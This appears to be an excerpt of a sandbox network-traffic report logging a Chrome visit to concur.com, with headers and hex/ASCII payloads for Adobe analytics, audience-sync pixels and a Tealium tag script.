2024-10-03 08:41:30 UTC	15544	IN	Data Raw: 33 33 37 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 32 30 30 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 64 30 63 33 64 33 62 34 34 39 61 30 34 63 66 39 39 31 33 37 37 31 34 66 34 33 30 64 30 38 63 61 22 2c 22 63 6c 69 65 6e 74 22 3a 22 63 6f 6e 63 75 72 74 65 63 68 6e 6f 6c 6f 67 69 65 73 22 2c 22 69 64 22 3a 7b 22 74 6e 74 49 64 22 3a 22 31 32 63 30 66 63 65 37 30 63 33 34 34 32 39 35 38 38 34 33 37 63 38 30 35 36 38 38 31 32 61 32 2e 33 37 5f 30 22 2c 22 6d 61 72 6b 65 74 69 6e 67 43 6c 6f 75 64 56 69 73 69 74 6f 72 49 64 22 3a 22 37 37 30 38 36 38 33 37 30 33 30 32 36 35 33 39 36 32 37 31 34 38 31 36 36 37 36 31 37 34 36 39 34 38 33 33 30 35 22 7d 2c 22 65 64 67 65 48 6f 73 74 22 3a 22 6d 62 6f 78 65 64 67 65 33 37 2e 74 74 2e 6f 6d 74 72 64 63 2e 6e 65 74 Data Ascii: 3370{"status":200,"requestId":"d0c3d3b449a04cf99137714f430d08ca","client":"concurtechnologies","id":{"tntId":"12c0fce70c34429588437c80568812a2.37_0","marketingCloudVisitorId":"77086837030265396271481667617469483305"},"edgeHost":"mboxedge37.tt.omtrdc.net
2024-10-03 08:41:30 UTC	3437	IN	Data Raw: 65 6d 70 6c 6f 79 65 65 20 73 70 65 6e 64 20 77 69 74 68 20 41 49 2d 73 75 70 70 6f 72 74 65 64 20 74 6f 6f 6c 73 2e 3c 2f 70 3e 5c 6e 5c 6e 3c 70 3e 3c 2f 70 3e 5c 6e 5c 6e 3c 70 20 73 74 79 6c 65 3d 5c 22 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 32 30 70 78 3b 5c 22 3e 5c 6e 20 20 20 20 3c 61 20 69 64 3d 5c 22 65 78 70 65 6e 73 65 2d 64 65 6d 6f 2d 62 75 74 74 6f 6e 5c 22 20 63 6c 61 73 73 3d 5c 22 62 74 6e 20 70 72 69 6d 61 72 79 5c 22 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6e 63 75 72 2e 63 6f 6d 2f 73 65 6c 66 2d 67 75 69 64 65 64 2d 64 65 6d 6f 2d 65 78 70 65 6e 73 65 23 2f 5c 22 3e 54 72 79 20 6f 75 72 20 65 78 70 65 6e 73 65 20 64 65 6d 6f 3c 2f 61 3e 5c 6e 20 20 20 20 3c 61 20 69 64 3d 5c 22 69 6e 76 6f 69 63 65 2d 64 65 Data Ascii: employee spend with AI-supported tools.</p>\n\n<p></p>\n\n<p style=\"padding-top: 20px;\">\n <a id=\"expense-demo-button\" class=\"btn primary\" href=\"https://www.concur.com/self-guided-demo-expense#/\">Try our expense demo</a>\n <a id=\"invoice-de

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49785	63.140.62.27	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:30 UTC	746	OUT	GET /id?d_visid_ver=5.2.0&d_fieldgroup=A&mcorgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&mid=77086837030265396271481667617469483305&ts=1727944888789 HTTP/1.1 Host: concurtechnologies.sc.omtrdc.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.concur.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:30 UTC	439	IN	HTTP/1.1 200 OK access-control-allow-origin: https://www.concur.com access-control-allow-credentials: true date: Thu, 03 Oct 2024 08:41:30 GMT p3p: CP="This is not a P3P policy" server: jag vary: Origin content-type: application/x-javascript;charset=utf-8 content-length: 2 cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-10-03 08:41:30 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49786	52.31.64.150	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:30 UTC	752	OUT	GET /dest5.html?d_nsid=0 HTTP/1.1 Host: concur.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681
2024-10-03 08:41:30 UTC	607	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:30 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 6983 Connection: close X-TID: 5vtT5kSkTYE= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Accept-Ranges: bytes last-modified: Mon, 23 Sep 2024 10:27:29 GMT DCS: dcs-prod-irl1-1-v065-0ad7c16a0.edge-irl1.demdex.com 0 ms
2024-10-03 08:41:30 UTC	6983	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 41 64 6f 62 65 20 41 75 64 69 65 6e 63 65 4d 61 6e 61 67 65 72 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Adobe AudienceManager</title><script type="text/javas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49788	18.66.102.98	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:30 UTC	435	OUT	GET /api/v3/ip.json?key=cMPgQMqMk2GCukvfKSjDvyaAi6hysDbVs1EB5Qee&callback=Dmdbase_CDC.callback HTTP/1.1 Host: api.company-target.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:31 UTC	610	IN	HTTP/1.1 200 OK Content-Type: application/javascript;charset=utf-8 Content-Length: 2015 Connection: close Date: Thu, 03 Oct 2024 08:41:30 GMT Request-ID: 59aabaa8-5768-4d4e-9130-30b6b68584d2 Server: nginx Api-Version: v3 Identification-Source: CACHE Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Wed, 02 Oct 2024 08:41:30 GMT Vary: Accept-Encoding, Origin X-Cache: Miss from cloudfront Via: 1.1 50c53efe331c3da25a4faf191817af8c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P2 X-Amz-Cf-Id: mdOdCLHCh5Z5Pv0mMWgFHL6XqnCLRkDuFVQfWqab2q6TeDx6t9akHg==
2024-10-03 08:41:31 UTC	2015	IN	Data Raw: 2f 2a 2a 2f 44 6d 64 62 61 73 65 5f 43 44 43 2e 63 61 6c 6c 62 61 63 6b 28 7b 22 72 65 67 69 6f 6e 5f 6e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 72 65 67 69 73 74 72 79 5f 64 6d 61 5f 63 6f 64 65 22 3a 35 30 31 2c 22 72 65 67 69 73 74 72 79 5f 63 6f 75 6e 74 72 79 5f 63 6f 64 65 33 22 3a 6e 75 6c 6c 2c 22 63 6f 6d 70 61 6e 79 5f 73 69 7a 65 22 3a 22 24 31 4d 20 2d 20 24 35 4d 22 2c 22 63 6f 6d 70 61 6e 79 5f 69 64 22 3a 32 30 39 33 38 30 30 32 2c 22 63 6f 6d 70 61 6e 79 5f 6e 61 6d 65 22 3a 22 61 64 6d 69 6e 20 65 78 70 6f 72 74 73 20 39 30 30 22 2c 22 6d 61 72 6b 65 74 69 6e 67 5f 61 6c 69 61 73 22 3a 22 61 64 6d 69 6e 20 65 78 70 6f 72 74 73 20 39 30 30 22 2c 22 61 63 63 6f 75 6e 74 5f 6f 77 6e 65 72 73 68 69 70 22 3a 22 50 72 69 76 61 74 65 Data Ascii: /**/Dmdbase_CDC.callback({"region_name":"New York","registry_dma_code":501,"registry_country_code3":null,"company_size":"$1M - $5M","company_id":20938002,"company_name":"admin exports 900","marketing_alias":"admin exports 900","account_ownership":"Private

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49801	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:32 UTC	545	OUT	GET /id?d_visid_ver=5.2.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&d_nsid=0&ts=1727944887869 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dextp=21-1-1727944890685
2024-10-03 08:41:32 UTC	713	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:32 GMT Content-Type: application/json;charset=utf-8 Content-Length: 4321 Connection: close X-TID: DXkfN8lzS6k= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" DCS: dcs-prod-irl1-1-v065-0d270a01d.edge-irl1.demdex.com 9 ms set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:32 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:32 UTC	4321	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 37 37 30 38 36 38 33 37 30 33 30 32 36 35 33 39 36 32 37 31 34 38 31 36 36 37 36 31 37 34 36 39 34 38 33 33 30 35 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 52 4b 68 70 52 7a 38 6b 72 67 32 74 4c 4f 36 70 67 75 58 57 70 35 6f 6c 6b 41 63 55 6e 69 51 59 50 48 61 4d 57 57 67 64 4a 33 78 7a 50 57 51 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 32 31 22 2c 22 74 74 6c 22 3a 31 34 34 30 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 30 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 30 2c 22 75 72 6c 22 3a 5b 22 2f 2f 61 61 2e 61 67 6b 6e 2e Data Ascii: {"d_mid":"77086837030265396271481667617469483305","id_sync_ttl":604800,"d_blob":"RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"21","ttl":14400,"tag":"img","fireURLSync":0,"syncOnPage":0,"url":["//aa.agkn.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49799	52.58.104.46	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:32 UTC	646	OUT	GET /adscores/g.pixel?sid=9211132908&aam=77063524538646072271479213259445098681 HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:32 UTC	700	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 08:41:32 GMT Transfer-Encoding: chunked Connection: close Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3AJYufjDomSbMgdJeHf407%2BScvx5wUotK0; Path=/; Domain=.agkn.com; Expires=Fri, 03-Oct-2025 08:41:32 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://dpm.demdex.net/ibs:dpid=21&dpuuid=216783105024001044546
2024-10-03 08:41:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49808	63.140.62.222	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:32 UTC	495	OUT	GET /id?d_visid_ver=5.2.0&d_fieldgroup=A&mcorgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&mid=77086837030265396271481667617469483305&ts=1727944888789 HTTP/1.1 Host: concurtechnologies.sc.omtrdc.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:32 UTC	378	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Thu, 03 Oct 2024 08:41:32 GMT p3p: CP="This is not a P3P policy" server: jag vary: Origin content-type: application/x-javascript;charset=utf-8 content-length: 2 cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-10-03 08:41:32 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49810	66.235.152.225	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:32 UTC	455	OUT	GET /rest/v1/delivery?client=concurtechnologies&sessionId=12c0fce70c34429588437c80568812a2&version=2.5.0 HTTP/1.1 Host: concurtechnologies.tt.omtrdc.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:32 UTC	450	IN	HTTP/1.1 405 Method Not Allowed date: Thu, 03 Oct 2024 08:41:32 GMT content-type: application/json;charset=UTF-8 vary: accept-encoding referrer-policy: strict-origin-when-cross-origin server: jag strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close transfer-encoding: chunked
2024-10-03 08:41:32 UTC	67	IN	Data Raw: 33 64 0d 0a 7b 22 73 74 61 74 75 73 22 3a 34 30 35 2c 22 6d 65 73 73 61 67 65 22 3a 22 52 65 71 75 65 73 74 20 6d 65 74 68 6f 64 20 27 47 45 54 27 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 7d 0d 0a Data Ascii: 3d{"status":405,"message":"Request method 'GET' not supported"}
2024-10-03 08:41:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49822	35.244.174.68	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:32 UTC	638	OUT	GET /365868.gif?partner_uid=77063524538646072271479213259445098681 HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:32 UTC	736	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://idsync.rlcdn.com/1000.gif?memo=CKyqFhIxCi0IARCYEhomNzcwNjM1MjQ1Mzg2NDYwNzIyNzE0NzkyMTMyNTk0NDUwOTg2ODEQABoNCLyx-bcGEgUI6AcQAEIASgA P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=+HZYfrcbqjxf7/TZ5+7gyV3JcCZDt4TMzn91TnQsddk=; Path=/; Domain=rlcdn.com; Expires=Fri, 03 Oct 2025 08:41:32 GMT; Secure; SameSite=None Set-Cookie: pxrc=CAA=; Path=/; Domain=rlcdn.com; Expires=Mon, 02 Dec 2024 08:41:32 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Thu, 03 Oct 2024 08:41:32 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49837	35.244.174.68	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:34 UTC	761	OUT	GET /1000.gif?memo=CKyqFhIxCi0IARCYEhomNzcwNjM1MjQ1Mzg2NDYwNzIyNzE0NzkyMTMyNTk0NDUwOTg2ODEQABoNCLyx-bcGEgUI6AcQAEIASgA HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rlas3=+HZYfrcbqjxf7/TZ5+7gyV3JcCZDt4TMzn91TnQsddk=; pxrc=CAA=
2024-10-03 08:41:34 UTC	745	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://dpm.demdex.net/ibs:dpid=477&dpuuid=6d94047d5ba552f803e557b75566d6a4f12326b52ee1ae9ebf8ec17e6cf1cd9ab0da87c991749652 P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=0iEBRQrNVUhf7/TZ5+7gyV3JcCZDt4TMzn91TnQsddk=; Path=/; Domain=rlcdn.com; Expires=Fri, 03 Oct 2025 08:41:34 GMT; Secure; SameSite=None Set-Cookie: pxrc=CL6x+bcGEgUI6AcQABIGCPHrARAA; Path=/; Domain=rlcdn.com; Expires=Mon, 02 Dec 2024 08:41:34 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Thu, 03 Oct 2024 08:41:34 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49840	67.202.105.24	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:34 UTC	605	OUT	GET /ps/?pid=897&random=777609971 HTTP/1.1 Host: dp2.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:34 UTC	601	IN	HTTP/1.1 302 p3p: CP="NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA" set-cookie: 33x_ps=u%3D212818727823119%3As1%3D1727944894652%3Ats%3D1727944894652; Domain=.33across.com; Expires=Fri, 03-Oct-2025 08:41:34 GMT; Path=/; Secure; SameSite=None referrer-policy: unsafe-url pragma: no-cache cache-control: no-store, no-cache, must-revalidate expires: Thu, 01-Jan-70 00:00:01 GMT x-33x-status: 200004000C server: 33XP009 location: https://dpm.demdex.net/ibs:dpid=601&dpuuid=212818727823119&random=1727944894 content-length: 0 date: Thu, 03 Oct 2024 08:41:34 GMT connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49833	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:34 UTC	560	OUT	GET /utag/concur/concur/prod/utag.js?_=1727944885416 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:35 UTC	609	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 275270 Connection: close Last-Modified: Thu, 26 Sep 2024 17:14:03 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 0IUKGTcRKk7rQ_TJkzbkAlGz9jzHHIdj Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:36 GMT ETag: "0874cfbdd3730979ed82ec6ef6feff90" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 abf16b943a9b4039b87ccdb094d9303e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: uo84FHteSgQMiFvbzbCpCfS_fPiElmGVuAO2GrAB61UEXtBW0cggqg== Cache-Control: max-age=300
2024-10-03 08:41:35 UTC	16384	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 6c 6f 61 64 65 72 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 76 61 72 20 75 74 61 67 5f 63 6f 6e 64 6c 6f 61 64 3d 66 61 6c 73 65 3b 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 75 6c 28 73 72 63 2c 61 2c 62 29 7b 61 3d 64 6f 63 75 6d 65 6e 74 3b 62 3d 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 62 2e 6c 61 6e 67 75 61 67 65 3d 27 6a 61 76 61 73 63 72 69 70 74 27 3b 62 2e 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 Data Ascii: //tealium universal tag - utag.loader ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.var utag_condload=false;try{(function(){function ul(src,a,b){a=document;b=a.createElement('script');b.language='javascript';b.type='text/javascr
2024-10-03 08:41:35 UTC	16384	IN	Data Raw: 6e 67 22 29 61 3d 7b 65 76 65 6e 74 3a 61 2c 64 61 74 61 3a 62 2c 63 66 67 3a 7b 63 62 3a 63 7d 7d 3b 66 6f 72 28 64 20 69 6e 20 75 74 61 67 2e 6c 6f 61 64 65 72 2e 47 56 28 75 74 61 67 2e 6f 29 29 7b 74 72 79 7b 75 74 61 67 2e 6f 5b 64 5d 2e 68 61 6e 64 6c 65 72 2e 74 72 69 67 67 65 72 28 61 2e 65 76 65 6e 74 7c 7c 22 76 69 65 77 22 2c 61 2e 64 61 74 61 7c 7c 61 2c 61 2e 63 66 67 29 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b 7d 0a 69 66 28 61 2e 63 66 67 26 26 61 2e 63 66 67 2e 63 62 29 74 72 79 7b 61 2e 63 66 67 2e 63 62 28 29 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b 72 65 74 75 72 6e 20 74 72 75 65 7d 2c 68 61 6e 64 6c 65 72 3a 7b 62 61 73 65 3a 22 66 6f 72 6d 5f 6e 61 6d 65 22 2c 64 66 3a 7b 7d 2c 6f 3a Data Ascii: ng")a={event:a,data:b,cfg:{cb:c}};for(d in utag.loader.GV(utag.o)){try{utag.o[d].handler.trigger(a.event\|\|"view",a.data\|\|a,a.cfg)}catch(e){utag.DB(e)};}if(a.cfg&&a.cfg.cb)try{a.cfg.cb()}catch(e){utag.DB(e)};return true},handler:{base:"form_name",df:{},o:
